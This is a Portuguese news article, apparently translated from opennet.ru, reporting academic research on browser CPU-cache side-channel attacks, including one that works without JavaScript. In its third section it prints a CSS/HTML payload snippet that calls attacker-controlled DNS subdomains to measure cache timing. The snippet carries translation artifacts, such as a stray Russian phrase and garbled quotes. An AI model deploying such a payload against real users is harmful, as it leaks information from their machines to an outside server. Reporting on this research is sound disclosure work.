Ataque de extração de dados do cache da CPU, realizado em navegadores web sem JavaScript

Um grupo de pesquisadores de várias universidades americanas, israelenses e australianas desenvolveu três ataques funcionais em navegadores web para extrair informações sobre o conteúdo do cache do processador. Um método funciona em navegadores sem JavaScript, enquanto os outros dois contornam os métodos de proteção existentes contra ataques de canais laterais, incluindo aqueles aplicados no Tor browser e no DeterFox. O código para demonstrar os ataques, assim como os componentes de servidor necessários, foi publicado no GitHub.

Para analisar o conteúdo do cache, todos os ataques utilizam o método Prime+Probe, que implica preencher o cache com um conjunto de valores de referência e determinar as alterações medindo o tempo de acesso a eles durante o re-preenchimento. Para contornar os mecanismos de proteção nos navegadores que dificultam a medição precisa do tempo, em duas variantes é feita uma chamada a um servidor DNS ou WebSocket controlado pelo atacante, onde é mantido um registro do tempo de recebimento das solicitações. Em uma das variantes, um tempo fixo de resposta DNS é usado como referência de tempo.

As medições realizadas com a ajuda de servidores externos DNS ou WebSocket, utilizando um sistema de classificação baseado em aprendizado de máquina, foram suficientes para prever os valores com uma precisão de até 98% no cenário mais otimizado (em média 80-90%). Os métodos de ataque foram testados em várias plataformas de hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) e mostraram-se universais.

Ataque de extração de dados do cache da CPU, realizado em navegadores web sem JavaScript

Na primeira variante do ataque 'DNS Racing', uma implementação clássica do método Prime+Probe é utilizada, empregando arrays JavaScript. As diferenças resumem-se ao uso de um timer externo baseado em DNS e um manipulador onerror que é acionado ao tentar carregar uma imagem de um domínio inexistente. O timer externo permite que o ataque Prime+Probe ocorra em navegadores que limitam ou desativam completamente o acesso aos timers JavaScript.

Para um servidor DNS localizado na mesma rede Ethernet, a precisão do timer é estimada em cerca de 2 ms, o que é suficiente para realizar um ataque por canais externos (para comparação, a precisão do timer JavaScript padrão no Tor Browser é reduzida para 100 ms). Para o ataque, o controle sobre o servidor DNS não é necessário, uma vez que o tempo de execução da operação é ajustado para que o tempo de resposta do DNS sirva como um indicativo de que a verificação foi concluída mais cedo (dependendo de se o manipulador onerror foi ativado mais cedo ou mais tarde, pode-se inferir a velocidade de execução da operação de verificação com cache).

O segundo método de ataque, "String and Sock", visa contornar as medidas de proteção que limitam o uso de arrays em baixo nível no JavaScript. Em vez de arrays, o "String and Sock" utiliza operações com strings muito grandes, cujo tamanho é escolhido de forma que a variável cubra todo o cache LLC (Last Level Cache). Em seguida, com a função indexOf(), busca-se uma pequena substring que inicialmente não está presente na string original, ou seja, a operação de busca resulta em uma varredura completa da string. Como o tamanho da string corresponde ao tamanho do cache LLC, a varredura permite realizar a operação de verificação de cache sem manipulação de arrays. Para medir a latência, em vez do DNS, é feita uma chamada a um servidor WebSocket controlado pelo atacante — antes de iniciar e após concluir a operação de busca na string, são enviados pedidos, com base nos quais é servidor calculada a latência usada para analisar o conteúdo do cache.

A terceira variante do ataque "CSS PP0" é realizada através de HTML e CSS, podendo operar em navegadores com JavaScript desativado. O método lembra o "String and Sock", mas não depende do JavaScript. Durante o ataque, é formado um conjunto de seletores CSS que realizam buscas por padrão. A grande string inicial, que preenche o cache, é definida através da criação de uma tag div com um nome de classe muito grande. Dentro dela, é colocado um conjunto de outras divs com seus identificadores. Para cada uma dessas divs internas, é definido um estilo com um seletor que realiza a busca pela substring. Ao renderizar a página, o navegador inicialmente tenta processar as divs internas, o que leva à execução da operação de busca na grande string. A busca é realizada por um padrão que não existe e resulta na varredura de toda a string, após o que a condição "not" é ativada e uma tentativa de carregar uma imagem de fundo, referenciando aleatoriamente, é realizada. domínios: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»строка," размером около мегабайта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

Os subdomínios são atendidos em um servidor DNS do atacante, que pode medir as latências na recepção das solicitações. Para todas as requisições, o servidor DNS retorna NXDOMAIN e mantém um log do horário exato de acesso. Como resultado do processamento do conjunto de divs, uma série de requisições chega ao servidor DNS do atacante, cujas latências entre elas correlacionam-se com o resultado da verificação do conteúdo do cache.

Ataque de extração de dados do cache da CPU, realizado em navegadores web sem JavaScript


Fonte: opennet.ru
Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster